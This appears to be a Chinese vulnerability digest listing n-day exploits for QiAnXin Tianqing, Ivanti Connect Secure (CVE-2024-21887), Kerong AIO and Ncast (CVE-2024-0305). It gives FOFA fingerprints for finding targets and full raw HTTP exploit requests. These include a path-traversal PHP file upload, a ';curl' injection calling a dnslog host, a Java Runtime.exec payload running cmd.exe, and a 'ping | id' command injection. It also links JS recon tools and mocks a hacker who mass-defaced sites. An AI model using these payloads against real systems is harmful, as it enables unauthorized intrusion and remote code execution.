奇安信天擎rptsvr任意文件上传

banner="QiAnXin web server" banner="360 web server"  body="appid\":\"skylar6" body="/task/index/detail?id={item.id}" body="已过期或者未授权，购买请联系4008-136-360"

POST /rptsvr/upload HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36Connection: closeContent-Length: 414Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Content-Type: multipart/form-data;boundary=---------------------------55433477442814818502792421460Upgrade-Insecure-Requests: 1-----------------------------55433477442814818502792421460Content-Disposition: form-data; name="uploadfile"; filename="../../../application/api/controllers/TController2.php"Content-Type: text/x-python<?phpphpinfo();?>-----------------------------55433477442814818502792421460Content-Disposition: form-data; name="token"skylar_report-----------------------------55433477442814818502792421460

http://xxxx/application/api/controllers/TController.php

Ivanti Connect Secure远程命令注入漏洞(CVE-2024-21887)

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20z5i19y.dnslog.cn HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36Connection: closeAccept-Encoding: gzip, deflate

科荣AIO管理系统远程代码执行漏洞

body="changeAccount('8000')"

POST /UtilServlet HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedContent-Length: 324operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+ipconfig").getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field

CVE-2024-0305 Ncast 平台RCE

icon_hash="-1253433910"

POST /classes/common/busiFacade.php HTTP/1.1Host: ip:portUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Connection: closeContent-Length: 98Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequest{"name":"ping","serviceName":"SysManager","userTransaction":false,"param":["ping 127.0.0.1 | id"]}

js攻击面拓展，正则提取JavaScript中url信息工具，可检验敏感参数，接口和挖掘未授权漏洞，手法神必备

https://github.com/BishopFox/jsluice
https://github.com/ttstormxx/jjjjjjjjjjjjjs
https://github.com/InitRoot/BurpJSLinkFinder
https://github.com/gh0stkey/HaE
https://github.com/RetireJS/retire.js

qq黑客nday批量神入侵国内企业备案站，修改首页并留下qq，死亡buff叠得最多的一集

我中午看到了就发到tg群了，不知道群里哪edusrc的又扒拉到了教育漏洞报告平台，引了波大流，qq微步微信还有tg都在传
只能说比较符合我对于qq黑客的刻板印象，nday批量无脑梭，梭完不交src要挂个炫酷黑页狠狠装逼再留个qq号，生怕警察叔叔找不到自个。这位多梦琪兄的qq空间更是主打一个自己记录犯罪证据。打批量确实太让容易让人产生自己分外无敌超级黑客的错觉了。只能说你进了局子之后大伙会给你唱一等情事的

Atlassian Confluence远程代码执行漏洞（CVE-2023-22527）

weblogic远程代码执行漏洞一键getshell工具